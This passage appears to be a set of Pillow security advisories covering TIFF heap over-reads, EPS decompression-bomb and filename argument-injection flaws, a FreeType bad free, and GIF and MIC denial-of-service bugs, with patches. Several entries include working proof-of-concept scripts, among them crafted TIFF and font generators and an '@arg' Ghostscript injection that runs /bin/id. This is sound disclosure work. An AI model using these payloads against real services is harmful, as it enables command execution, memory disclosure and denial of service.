b\"zcsvKCwqLiktK6+orKquqa2rb2hsam5pbWvv6Ozq7unt658wcdLkKVOnTZ8x\" + b\"c9bsOXPnzV+wcNHiJUuXLV+xctXqNWvXrd+wcdPmLVu3bd+xc9fuPXv37T9w\" + b\"8NDhI0ePHT9x8tTpM2fPnb9w8dLlK1evXb9x89btO3fv3X/w8NHjJ0+fPX/x\" + b\"8tXrN2/fvf/w8dPnL1+/ff/x89fvP3///WcY9f+I9j8AoGJ+kAgACAAIABAA\" + b\"EAAQAA==\" + ), + ), + ) + @pytest.mark.filterwarnings(\"ignore:Metadata Warning\") + def test_unpacker_row_wider_than_libtiff_row(self, data: bytes) -> None: + # The unpacker chosen by Pillow reads more bytes per row than libtiff + # decoded, so the decoder must reject the image rather than read past + # the end of its buffer + with Image.open(io.BytesIO(base64.b64decode(data))) as im: + with pytest.raises(OSError, match=\"decoder error -2\"): + im.load() + @pytest.mark.parametrize(\"compression\", (\"tiff_adobe_deflate\", \"jpeg\")) def test_save_multistrip(self, compression: str, tmp_path: Path) -> None: im = hopper(\"RGB\").resize((256, 256)) diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..2ee6c5f0a 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -304,6 +304,15 @@ _decodeAsRGBA(Imaging im, ImagingCodecState state, TIFF *tiff) { TRACE((\"RowsPerBlock: %u \\n\", rows_per_block)); + // TiffRGBAImages are 32bits/pixel. If the unpacker reads more bits per pixel + // than that, (at least) the last row of the block will have a read buffer + // overflow. + if (state->bits > 32) { + TRACE((\"Decode Error, unpacker bits %d > 32\\n\", state->bits)); + state->errcode = IMAGING_CODEC_BROKEN; + return -1; + } + if (!(TIFFRGBAImageOK(tiff, emsg) && TIFFRGBAImageBegin(&img, tiff, 0, emsg))) { TRACE((\"Decode error, msg: %s\", emsg)); state->errcode = IMAGING_CODEC_BROKEN; @@ -397,7 +406,7 @@ _decodeTile( ) { INT32 x, y, tile_y, current_tile_length, current_tile_width; UINT32 tile_width, tile_length; - tsize_t tile_bytes_size, row_byte_size; + tsize_t tile_bytes_size, row_byte_size, unpacker_row_byte_size; UINT8 *new_data; tile_bytes_size = TIFFTileSize(tiff); @@ -431,7 +440,8 @@ _decodeTile( return -1; } - if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) { + unpacker_row_byte_size = ((tsize_t)tile_width * state->bits / planes + 7) / 8; + if (tile_bytes_size > (unpacker_row_byte_size * tile_length)) { // If the tile size as expected by LibTiff isn't what we're expecting, abort. // man: TIFFTileSize returns the equivalent size for a tile of data as it // would be returned in a call to TIFFReadTile ... @@ -439,6 +449,13 @@ _decodeTile( return -1; } + // if the unpacker calculated row size is > row byte size, (at least) the last + // row of the tile will have a read buffer overflow. + if (unpacker_row_byte_size > row_byte_size) { + state->errcode = IMAGING_CODEC_BROKEN; + return -1; + } + state->bytes = tile_bytes_size; TRACE((\"TIFFTileSize: %d\\n\", state->bytes)); ``` ## The reproducer
Reproducer \u2014 repro, 4,178 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # Heap over-read in _decodeTile()/_decodeAsRGBA() (src/libImaging/TiffDecode.c), stock build, # no sanitizer needed. Pillow picks the row unpacker from its own IFD parse, libtiff sizes the # decode buffer from its parse; when they disagree the unpacker reads past state->buffer and the # bytes land in the image. Evidence: (1) pixels of a fully-defined 16x16 file change with glibc's # MALLOC_PERTURB_ fill byte (heap bytes beyond the buffer became pixels); (2) a 65536x16 tile # SIGSEGVs in copy4 <- _decodeTile. Runs in a few seconds. import os, shutil, struct, subprocess, sys, tempfile, zlib W = tempfile.mkdtemp(); S, L = 3, 4 def tiff(entries, data): # little-endian classic TIFF, one IFD, tags in given order data_off = 8 + 2 + 12 * len(entries) + 4; extra_off = data_off + len(data) ifd, extra = struct.pack(\" 4: raw, extra = struct.pack(\" 1 B/px; Pillow keeps 6 -> RGBX copy4 4 B/px (HEAD only) \"tile_count2.tif\": tile(16, 16, 1, [(262, S, [6, 6])]), # Photometric duplicated 2 then 6, 3 samples: libtiff RGB 3 B/px; Pillow RGBX 4 B/px (also released versions) \"tile_dup.tif\": tile(16, 16, 3, [(262, S, [2]), (262, S, [6])]), # strip, libtiff sees 8-bit YCbCr -> _decodeAsRGBA 4 B/px; Pillow sees RGB;16 -> 6 B/px \"ycbcr_dup.tif\": tiff([(256, S, [16]), (257, S, [16]), (258, S, [8, 8, 8]), (258, S, [16, 16, 16]), (259, S, [8]), (262, S, [6]), (262, S, [2]), (273, L, None), (277, S, [3]), (278, S, [16]), (279, L, [len(d)]), (530, S, [1, 1])], d), \"tile_big.tif\": tile(65536, 16, 1, [(262, S, [6, 6])]), } for n, b in files.items(): open(f\"{W}/{n}\", \"wb\").write(b) LOAD = r\"\"\" import sys, warnings; warnings.simplefilter(\"ignore\") from PIL import Image im = Image.open(sys.argv[1]); print(Image.core.__file__, im.mode, im.size, im.tile[0].args[0], file=sys.stderr) im.load(); sys.stdout.write(im.tobytes().hex()) \"\"\" def run(name, perturb): p = subprocess.run([sys.executable, \"-c\", LOAD, f\"{W}/{name}\"], capture_output=True, text=True, env=dict(os.environ, MALLOC_PERTURB_=str(perturb))) return p.returncode, p.stdout, p.stderr.strip().splitlines()[-1:] or [\"\"] leak = False for n in (\"tile_count2.tif\", \"tile_dup.tif\", \"ycbcr_dup.tif\"): r1, a, info = run(n, 85); r2, b, _ = run(n, 170) print(f\"== {n}: {info[0]} rc={r1},{r2}\") if r1 == 0 and r2 == 0 and a != b: i = next(k for k in range(0, len(a), 2) if a[k:k+2] != b[k:k+2]) print(f\" pixel bytes depend on malloc fill pattern from byte {i//2} of {len(a)//2}:\") print(f\" PERTURB=85 : ...{a[i-8:i+40]}\\n PERTURB=170: ...{b[i-8:i+40]}\") leak = True else: print(\" identical output / error -> no leak observed\") rc, _, info = run(\"tile_big.tif\", 0) print(f\"== tile_big.tif: {info[0]} rc={rc}\" + (\" (SIGSEGV)\" if rc == -11 else \"\")) crash = rc == -11 if crash and shutil.which(\"gdb\"): bt = subprocess.run([\"gdb\", \"-batch\", \"-ex\", \"run\", \"-ex\", \"bt 4\", \"--args\", sys.executable, \"-c\", LOAD, f\"{W}/tile_big.tif\"], capture_output=True, text=True).stdout print(\"\\n\".join(l for l in bt.splitlines() if l.startswith(\"#\"))) shutil.rmtree(W) print(f\"summary: heap bytes in pixels={leak} stock SIGSEGV={crash}\") print(\"BUG\" if leak or crash else \"OK\") ```
---"}, {"id": "CVE-2026-112899", "fix_versions": ["13.0.0"], "aliases": ["GHSA-vx6w-vv9f-6gvg"], "description": "``` ============================================================================ EPS load(scale) lets Ghostscript render past the decompression bomb limit Location: src/PIL/EpsImagePlugin.py:92 in Ghostscript() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` When an application opens an untrusted Encapsulated PostScript file and asks Pillow to render it at a larger scale, Pillow has Ghostscript produce an image several times bigger than Pillow's configured size limit allows. The size check runs only after Ghostscript has finished rendering and written the full raw image to a temporary file. An attacker who can upload a file of about 100 bytes makes each such request spend scale\u00b2 times the Ghostscript rendering work and temporary disk space that the limit is meant to permit. For example, at scale 2 that is a 972 MB temporary file. The cause is in `Ghostscript()` in `src/PIL/EpsImagePlugin.py`. It multiplies the file-declared size by the caller's `scale` (lines 93-94) and passes the product to `gs` as the `-g` output geometry. It never calls `Image._decompression_bomb_check()` on the scaled size. The only check is the one `Image.open()` ran on the unscaled size, so a file declaring 9000\u00d79000 passes, and `load(scale=2)` then asks Ghostscript for 18000\u00d718000 (3.6\u00d7 `MAX_IMAGE_PIXELS`). A file declaring 18000\u00d718000 directly would be refused before Ghostscript ever ran. `DecompressionBombError` fires only when Pillow reopens the output file, so Pillow's own in-process allocation stays bounded and there is no memory corruption. The effect is a constant-factor overshoot rather than an unbounded one, for three reasons: * The multiplier is an integer chosen by the application, not by the file. * With the default warning filter, `Image.open()` already lets files up to 2\u00d7 the limit reach Ghostscript at `scale=1`. * Any application feeding untrusted files to Ghostscript is already exposed to a tiny file that keeps Ghostscript busy indefinitely, since `gs` runs with no timeout. This is the EPS counterpart of the WMF `load(dpi)` gap closed in af70b075a. It has been present since the decompression-bomb limit was introduced in ce2955ec7 (2.5.0). The attached reproducer stubs out Ghostscript and shows a 76-byte file passing `Image.open()` and reaching `gs` with `-g18000x18000`. A one-line patch mirroring the WMF check is included. ## Details `EpsImageFile.load(scale=N)` (the documented way to rasterise an EPS at higher resolution) renders `width*N \u00d7 height*N` pixels through Ghostscript, but the only decompression-bomb check on the way is the one `Image.open()` ran on the *unscaled*, file-declared `width \u00d7 height`. The scaled product is never passed to `Image._decompression_bomb_check()` before `gs` is started. This 111-byte EPS declares 9000\u00d79000 = 81,000,000 pixels, below the default `MAX_IMAGE_PIXELS` (89,478,485), so `Image.open()` accepts it without even a warning: ``` %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 0 0 9000 9000 %%EndComments 0 0 moveto 9000 9000 lineto stroke showpage ``` `im.load(scale=2)` on it then executes ``` gs -q -g18000x18000 -r144.000000x144.000000 -dBATCH -dNOPAUSE -dSAFER -sDEVICE=pnmraw -sOutputFile=/tmp/tmpXXXX -c 0 0 translate -f attack.eps -c showpage ``` i.e. asks Ghostscript for an 18000\u00d718000 = 324,000,000-pixel raster (3.6\u00d7 `MAX_IMAGE_PIXELS`), whose `pnmraw` output is a 972,000,019-byte file in the temp directory. An EPS that declares 18000\u00d718000 directly is rejected by `Image.open()` with `DecompressionBombError` before Ghostscript is ever run; via `scale=2` the same raster is rendered first and the `DecompressionBombError` only appears afterwards, when Pillow opens the file Ghostscript produced. (Between 1\u00d7 and 2\u00d7 `MAX_IMAGE_PIXELS`, `Image.open()` only emits `DecompressionBombWarning`, so with the default warning filter an EPS declaring e.g. 13377\u00d713377 is already rendered at `scale=1` \u2014 a 537 MB PNM. Against that baseline, `scale=2` is 4\u00d7 an already-permitted render.) The arithmetic is in `Ghostscript()`: ```python # src/PIL/EpsImagePlugin.py:91-97 # Hack to support hi-res rendering scale = int(scale) or 1 width = size[0] * scale height = size[1] * scale # resolution is dependent on bbox and size res_x = 72.0 * width / (bbox[2] - bbox[0]) \u2026 # src/PIL/EpsImagePlugin.py:139-142 command = [ gs_binary, \"-q\", # quiet mode f\"-g{width:d}x{height:d}\", # set output geometry (pixels) \u2026 # src/PIL/EpsImagePlugin.py:165-168 subprocess.check_call(command, startupinfo=startupinfo) with Image.open(outfile) as out_im: out_im.load() return out_im.im.copy() ``` and its caller does nothing between taking `scale` from the application and invoking it: ```python # src/PIL/EpsImagePlugin.py:411-417 def load(self, scale: int = 1, transparency: bool = False) -> \u2026: # Load EPS via Ghostscript if self.tile: assert self.fp is not None self.im = Ghostscript(self.tile, self.size, self.fp, scale, transparency) ``` `size` here is `self._size`, computed in `_open()` from the file's `%%BoundingBox` (or `%ImageData`) and checked once by `Image.open()` at `src/PIL/Image.py:3700`. For the benign path (`scale=1`) that check covers exactly what Ghostscript is asked to render. For `scale=N` the rendered pixel count is N\u00b2 times what was checked, so a file can sit just under the limit at open time and have Ghostscript render 4\u00d7 (scale 2), 9\u00d7 (scale 3), 16\u00d7 (scale 4) the configured budget. The first point at which Pillow looks at the real size again is `Image.open(outfile)` at line 166 \u2014 after `subprocess.check_call` has returned, i.e. after Ghostscript has spent the CPU and written `width*height*3` bytes to `tempfile.mkstemp()`'s directory. `WmfStubImageFile.load(dpi)` has the same shape (file-derived extent \u00d7 caller-supplied factor \u2192 new raster) and, since af70b075a, calls `Image._decompression_bomb_check(self.size)` on the recomputed size before rendering (`src/PIL/WmfImagePlugin.py:127-131`). The EPS path lacks the equivalent line. The gap dates from ce2955ec7128 (\"Throw an exception when an opened image is larger than an arbitrary limit\", 2014-05-14, first released in 2.5.0), which added the check to `Image.open()` without covering the `scale` path. ## Impact Affected are applications that open untrusted EPS/PS with Ghostscript installed and call `load(scale=N)` with a fixed N > 1, as the handbook suggests for non-blurry output. Handing untrusted EPS to Ghostscript at all already lets the same attacker tie up a worker with an equally tiny file (e.g. a PostScript `{} loop`; Pillow runs `gs` with no timeout), so this bug adds a constant factor rather than a new denial-of-service capability. Within that setting, a ~110-byte upload makes each request run Ghostscript over N\u00b2 \u00d7 `MAX_IMAGE_PIXELS` pixels (N\u00b2 \u00d7 2\u00b7`MAX_IMAGE_PIXELS` if the application does not turn `DecompressionBombWarning` into an error) and write a `W\u00b7H\u00b73`-byte PNM into the temp directory \u2014 972 MB for the example above at scale 2, 2.2 GB at scale 3, 8.6 GB for a 178-Mpixel declaration at scale 4 \u2014 before any limit is applied. The operator's `MAX_IMAGE_PIXELS` setting is exceeded by a factor of N\u00b2; N is an integer chosen by the application, not by the file, so the work stays bounded at N\u00b2 \u00d7 2\u00b7`MAX_IMAGE_PIXELS`. The consequence is N\u00b2 more Ghostscript CPU and temp-disk use per request than the configured limit intends; Pillow's own in-process pixel allocation remains bounded because `Image.open(outfile)` re-checks the PNM's size, and there is no memory corruption. This is a sibling of the WMF `load(dpi)` issue fixed in af70b075a (\"Add decompression bomb check when loading at a different DPI\"); the EPS `scale` path was not covered by that change. Unlike the WMF case, where the file-controlled `_inch` makes the ratio unbounded, the EPS multiplier is fixed by the application. ## Reproducing Run `repro` against the installed Pillow. Ghostscript does not need to be installed: the script sets `EpsImagePlugin.gs_binary = \"gs\"` so that `has_ghostscript()` skips its `gs --version` probe, and replaces `subprocess.check_call` with a function that records the command line Pillow builds and then raises `OSError`, so nothing is actually rendered. It writes a 76-byte EPS declaring `%%BoundingBox: 0 0 9000 9000` (the example above without the drawing line; 81 Mpixel, below the default `MAX_IMAGE_PIXELS` of 89,478,485) and turns `DecompressionBombWarning` into an error, so any bomb check \u2014 warning or hard error \u2014 counts. It then calls `Image.open()` and `im.load(scale=2)`. `Image.open()` accepts the file and `load(scale=2)` reaches the intercepted Ghostscript call with `-g18000x18000` (324,000,000 pixels, 3.6\u00d7 `MAX_IMAGE_PIXELS`, a 972 MB `pnmraw` output with real Ghostscript). The script prints the geometry it captured. It prints `BUG` when Ghostscript was invoked with a `-g` geometry above `2*MAX_IMAGE_PIXELS` (178,956,970) and no decompression-bomb check fired before that call; otherwise it prints `OK`. With the attached patch applied, `load(scale=2)` raises `DecompressionBombError` before Ghostscript is called and the script prints `OK`. ## Suggested fix The attached patch checks the scaled size in `Ghostscript()` right after the scaled `width`/`height` are computed (`src/PIL/EpsImagePlugin.py:93-94`) and before the `gs` command is built, mirroring `WmfStubImageFile.load`: ```diff --- a/src/PIL/EpsImagePlugin.py +++ b/src/PIL/EpsImagePlugin.py @@ -92,6 +92,7 @@ def Ghostscript( scale = int(scale) or 1 width = size[0] * scale height = size[1] * scale + Image._decompression_bomb_check((width, height)) # resolution is dependent on bbox and size res_x = 72.0 * width / (bbox[2] - bbox[0]) res_y = 72.0 * height / (bbox[3] - bbox[1]) ``` `load(scale=N)` now raises `DecompressionBombError` / emits `DecompressionBombWarning` under the same `MAX_IMAGE_PIXELS` thresholds `Image.open()` applies, before Ghostscript runs instead of after. Placing the check in `Ghostscript()` rather than in `EpsImageFile.load()` is the single point where the rendered extent is decided, so it also covers direct callers of the module-level function. With the patch applied to a clean checkout the reproducer prints `OK` and `Tests/test_file_eps.py` passes. One cosmetic side effect: at `scale=1` the check re-emits the `DecompressionBombWarning` that `Image.open()` already issued for sizes between 1\u00d7 and 2\u00d7 the limit; guarding the call with `if scale > 1:` would avoid the duplicate. The patch also adds `test_load_scale_decompression_bomb` to `Tests/test_file_eps.py`, in the style of the WMF test: it sets `MAX_IMAGE_PIXELS` to `im.width * im.height` and expects `im.load(scale=2)` to raise `DecompressionBombError`. Like the rest of that file it is skipped without Ghostscript, because `has_ghostscript()` is consulted at the top of `Ghostscript()`; moving the check above that call would let the test run without it. ## The patch Add decompression bomb check on the scaled size in EpsImagePlugin.Ghostscript() before Ghostscript is invoked Applies to `src/PIL/EpsImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_file_eps.py b/Tests/test_file_eps.py index 70eced62a..de331d97f 100644 --- a/Tests/test_file_eps.py +++ b/Tests/test_file_eps.py @@ -98,6 +98,14 @@ def test_sanity(filename: str, size: tuple[int, int], scale: int) -> None: assert image.format == \"EPS\" +@pytest.mark.skipif(not HAS_GHOSTSCRIPT, reason=\"Ghostscript not available\") +def test_load_scale_decompression_bomb(monkeypatch: pytest.MonkeyPatch) -> None: + with Image.open(FILE1) as im: + monkeypatch.setattr(Image, \"MAX_IMAGE_PIXELS\", im.width * im.height) + with pytest.raises(Image.DecompressionBombError): + im.load(scale=2) + + @pytest.mark.skipif(not HAS_GHOSTSCRIPT, reason=\"Ghostscript not available\") def test_load() -> None: with Image.open(FILE1) as im: diff --git a/src/PIL/EpsImagePlugin.py b/src/PIL/EpsImagePlugin.py index 5eaefe339..ccc6f1d85 100644 --- a/src/PIL/EpsImagePlugin.py +++ b/src/PIL/EpsImagePlugin.py @@ -92,6 +92,7 @@ def Ghostscript( scale = int(scale) or 1 width = size[0] * scale height = size[1] * scale + Image._decompression_bomb_check((width, height)) # resolution is dependent on bbox and size res_x = 72.0 * width / (bbox[2] - bbox[0]) res_y = 72.0 * height / (bbox[3] - bbox[1]) ``` ## The reproducer
Reproducer \u2014 repro, 1,845 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # EpsImagePlugin.Ghostscript(): load(scale=N) hands gs a -g geometry of # (W*N)x(H*N) with no _decompression_bomb_check on the scaled size; only the # unscaled WxH was checked by Image.open(). gs is not installed here, so we # set gs_binary and intercept subprocess.check_call to read the argv Pillow builds. import os, subprocess, tempfile, warnings from PIL import Image, EpsImagePlugin EpsImagePlugin.gs_binary = \"gs\" # skip the `gs --version` probe path = os.path.join(tempfile.mkdtemp(), \"a.eps\") with open(path, \"w\") as f: # 9000x9000 = 81 Mpx < MAX_IMAGE_PIXELS (89.5 Mpx) f.write(\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 9000 9000\\n%%EndComments\\nshowpage\\n\") calls = [] def fake_check_call(cmd, **kw): calls.append(cmd) raise OSError(\"gs intercepted\") # stop here; we only need the argv subprocess.check_call = fake_check_call hard = 2 * Image.MAX_IMAGE_PIXELS bomb_before_gs = False with warnings.catch_warnings(): warnings.simplefilter(\"error\", Image.DecompressionBombWarning) try: with Image.open(path) as im: print(\"Image.open accepted\", os.path.getsize(path), \"byte EPS, size\", im.size) im.load(scale=2) except (Image.DecompressionBombError, Image.DecompressionBombWarning) as e: bomb_before_gs = not calls print(\"bomb check fired\", \"before\" if bomb_before_gs else \"after\", \"gs:\", e) except OSError as e: print(\"load() reached gs:\", e) over = False for c in calls: g = next(a for a in c if a.startswith(\"-g\"))[2:] w, h = map(int, g.split(\"x\")) over |= w * h > hard print(f\"gs argv geometry -g{g} = {w*h} px ({w*h/Image.MAX_IMAGE_PIXELS:.1f}x MAX_IMAGE_PIXELS, \" f\"hard limit {hard}); pnmraw output would be {w*h*3} bytes\") print(\"BUG\" if calls and over and not bomb_before_gs else \"OK\") ```
---"}, {"id": "CVE-2026-112900", "fix_versions": ["13.0.0"], "aliases": ["GHSA-w889-685w-c8fh"], "description": "### Summary `PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f `. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with `-dSAFER` enabled). ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ #### Type CWE-88 (Argument Injection) (\u2192 CWE-78 (OS Command Injection) optionally, with attacker controlled text file) #### Vulnerable Codes ```python infile_temp = None if hasattr(fp, \"name\") and os.path.exists(fp.name): infile = fp.name # user-controlled path used as-is, without validation else: in_fd, infile_temp = tempfile.mkstemp() os.close(in_fd) infile = infile_temp # ... (copy fp into a temporary file) # Build Ghostscript command command = [ gs_binary, \"-q\", f\"-g{width:d}x{height:d}\", f\"-r{res_x:f}x{res_y:f}\", \"-dBATCH\", \"-dNOPAUSE\", \"-dSAFER\", # default sandbox \u2014 does NOT stop this injection f\"-sDEVICE={device}\", f\"-sOutputFile={outfile}\", \"-c\", f\"{-bbox[0]} {-bbox[1]} translate\", \"-f\", infile, # injected here: inserted into argv with no check for # option prefixes (-, --) or Ghostscript's @-file token # => argument injection (CWE-88) \"-c\", \"showpage\", ] # ... subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript ``` #### Root cause. When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing \u2014 in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting. #### Affected - Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included). - Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` \u2014 `infile = fp.name`, and the command list entry `\"-f\", infile`. #### Suggested fix Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`): ```python if hasattr(fp, \"name\") and os.path.exists(fp.name): infile = os.path.abspath(fp.name) # was: infile = fp.name ``` `os.path.abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript's argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change. ### PoC dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py. ``` FROM ubuntu:24.04 RUN apt update RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates RUN rm -rf /var/lib/apt/lists/* RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0 ENV PATH=/venv/bin:$PATH WORKDIR /poc COPY poc.py . COPY poc-rce.py . COPY arg . CMD [\"python3\", \"poc.py\"] ``` poc.py ``` import os from PIL import Image ############################################################################################ # Attacker controlled file ############################################################################################ EPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\" name = \"-h\" with open(name, \"wb\") as f: f.write(EPS) ############################################################################################ print(f\"[*] Pillow opens a file whose name is {name!r}\") im = Image.open(name) print(f\"[*] call `load()`; this paths calls `gs` command with '-f {name}'\") try: im.load() except Exception as e: print(f\"[*] load() raised: {type(e).__name__}: {e}\") print(\"CWE-88: argument injection; Pillow code doesn't validate argument name\") print(\" This poc.py shows the vulnerability clearly.\") print(\" If Pillow checks the name of file before it uses, It won't display `help`\") ``` poc-rce.py ``` import os from PIL import Image ############################################################################################ # Attacker controlled file ############################################################################################ EPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\" # To chain this vulnerability into critical RCE, We need another arbitrary text file # In this script, it is `arg`. name = \"@arg\" with open(name, \"wb\") as f: f.write(EPS) ############################################################################################ print(f\"[*] Pillow opens a file whose name is {name!r}\") im = Image.open(name) print(f\"[*] call `load()`; this paths calls `gs` command with '-f {name}'\") print(f\"[*] and this leads to arbitrary command injection.\") print(f\"*********************************************\") try: im.load() except Exception as e: print(f\"*********************************************\") print(f\"[*] load() raised: {type(e).__name__}: {e}\") print(\"\") print(\"CWE-78: OS Command Injection;\") print(\"CWE-88: Argument Injection ; Pillow code doesn't validate argument name\") print(\" This poc.py shows the vulnerability clearly.\") print(\" If Pillow checks the name of file before it uses, It won't call `id`\") ``` arg ``` -sOutputFile=%pipe%/bin/id -c 1 dict dup /OutputFile (%pipe%/bin/id) put setpagedevice ``` ### Impact **Confirmed \u2014 Ghostscript argument injection.** Because the filename is not validated, a leading `-`/`--` is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to `Image.open()` can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds. **Potential RCE (verified).** The filename is also not validated against Ghostscript's `@`-file syntax: a filename of the form `@` causes Ghostscript to read additional command-line arguments from ``, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution \u2014 an escalation we verified in our PoC (execution of `id`). Applies under Pillow's default configuration (with `-dSAFER` enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1) ### Why this is a Pillow bug (not the documented \"block untrusted EPS\" risk) This is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected \u2014 the guidance to block untrusted EPS input does not cover this. Because Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@) is Pillow's responsibility, not that of every downstream caller. The precondition \u2014 attacker influence over a filename that reaches Image.open() \u2014 is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API. ### Author Chanu Kang (from CysecLab at KAIST) @HLe4s"}, {"id": "CVE-2026-112893", "fix_versions": ["13.0.0"], "aliases": ["GHSA-j4m9-6w36-pw47"], "description": "### Summary When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer. ### Details `glyph` is declared without a NULL initializer: - `src/_imagingft.c:848` The first measurement loop can jump to `glyph_error` before `glyph` is ever assigned: - `src/_imagingft.c:1010-1013` In the render loop the glyph is freed at the end of each iteration and not set back to NULL: - `src/_imagingft.c:1242` The cleanup frees it whenever a stroker exists: - `src/_imagingft.c:1253-1256` `ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable. ### PoC This needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph \"A\" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens. ```python import struct from fontTools.ttLib import TTFont from PIL import Image, ImageFont, ImageDraw SRC = \"Tests/fonts/FreeMono.ttf\" # any TTF works as a base tt = TTFont(SRC) gid = tt.getGlyphID(tt.getBestCmap()[ord(\"A\")]) loca_long = tt[\"head\"].indexToLocFormat tt.close() raw = bytearray(open(SRC, \"rb\").read()) nt = struct.unpack(\">H\", raw[4:6])[0] tbl = {} for i in range(nt): rec = 12 + i * 16 tag = bytes(raw[rec:rec+4]).decode(\"latin-1\") off, length = struct.unpack(\">II\", raw[rec+8:rec+16]) tbl[tag] = (off, length) glyf_off = tbl[\"glyf\"][0]; loca_off = tbl[\"loca\"][0] if loca_long: o0 = struct.unpack_from(\">I\", raw, loca_off + 4*gid)[0] else: o0 = struct.unpack_from(\">H\", raw, loca_off + 2*gid)[0] * 2 struct.pack_into(\">h\", raw, glyf_off + o0, 5000) # numberOfContours = 5000 open(\"evil.ttf\", \"wb\").write(raw) f = ImageFont.truetype(\"evil.ttf\", 20) # face opens d = ImageDraw.Draw(Image.new(\"RGB\", (64, 64))) d.text((0, 0), \"A\", font=f, stroke_width=2) # load error -> FT_Done_Glyph on bad pointer ``` Result on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`). ### Impact Applications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`."}, {"id": "CVE-2026-112891", "fix_versions": ["13.0.0"], "aliases": ["GHSA-fc9g-5qg7-mf45"], "description": "On Pillow 12.3.0 and upstream `main` (`ad277e2761b489681e71b51e91367d46b0ceabb9`), a GIF with a long comment makes `_get_global_header()` copy portions of the comment repeatedly when saving, including comments carried over from untrusted images. I suggest provisional **Moderate** severity for crafted-image CPU denial of service, with CVSS-B 6.9 assuming a network service automatically opens unauthenticated uploads and they are resaved as GIFs; impact depends on input-size, concurrency, and worker CPU limits."}, {"id": "CVE-2026-112390", "fix_versions": ["13.0.0"], "aliases": ["GHSA-22hg-r758-rrw9"], "description": "``` ============================================================================ Infinite loop in MIC n_frames when the embedded TIFF has 3+ IFDs Location: src/PIL/MicImagePlugin.py:86 in MicImageFile.tell() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A crafted 5.6 KB image file makes Pillow loop forever at 100% CPU when an application asks how many frames the image has. This only affects installations that have the optional `olefile` package. Any application that opens an untrusted image and then reads `im.n_frames` can have one worker tied up indefinitely. That includes the common \"is this image animated?\" check and re-saving with `save_all=True` to TIFF, PDF or WebP. The call never returns, raises no exception, and does not grow memory, so only an external watchdog stops it. The file is a Microsoft Image Composer (MIC) container, which Pillow recognises by its magic bytes with no extension needed. Inside it is a TIFF stream with three chained image directories. `MicImageFile` subclasses `TiffImageFile` and 